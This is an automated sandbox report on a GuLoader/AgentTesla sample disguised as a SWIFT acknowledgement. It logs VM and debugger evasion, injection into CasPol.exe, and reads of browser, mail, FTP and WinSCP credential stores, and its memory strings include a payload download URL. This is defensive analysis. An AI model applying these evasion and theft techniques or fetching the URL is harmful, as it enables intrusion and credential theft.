Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: CasPol.exe, 0000000A.00000002.164825998772.0000000001220000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1SW9PADFHXH64IJ3XW0UAFAPSES7O-X1G
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160361545506.0000000000653000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.164825998772.0000000001220000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160361545506.0000000000653000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1156 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9952 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe System information queried: ModuleInformation Jump to behavior
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 0000000A.00000002.164825998772.0000000001220000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 0000000A.00000002.164825383260.00000000010CA000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 0000000A.00000002.164825017662.0000000001083000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAWh
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160361545506.0000000000653000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.164825998772.0000000001220000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: CasPol.exe, 0000000A.00000002.164825383260.00000000010CA000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAWB0t
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160364605983.0000000004D69000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160361545506.0000000000653000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: CasPol.exe, 0000000A.00000002.164827779328.0000000002D39000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E499D0 LdrInitializeThunk, 10_2_00E499D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: F00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe" Jump to behavior
Source: CasPol.exe, 0000000A.00000002.164827360176.00000000018E0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 0000000A.00000002.164827360176.00000000018E0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: CasPol.exe, 0000000A.00000002.164827360176.00000000018E0000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: CasPol.exe, 0000000A.00000002.164827360176.00000000018E0000.00000002.00020000.sdmp Binary or memory string: 5Program Manager

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

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Yara detected AgentTesla
Source: Yara match File source: 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.164836854214.000000001E0C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 2756, type: MEMORYSTR
GuLoader behavior detected
Source: Initial file Signature Results: GuLoader behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 2756, type: MEMORYSTR

Remote Access Functionality:

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Yara detected AgentTesla
Source: Yara match File source: 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.164836854214.000000001E0C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 2756, type: MEMORYSTR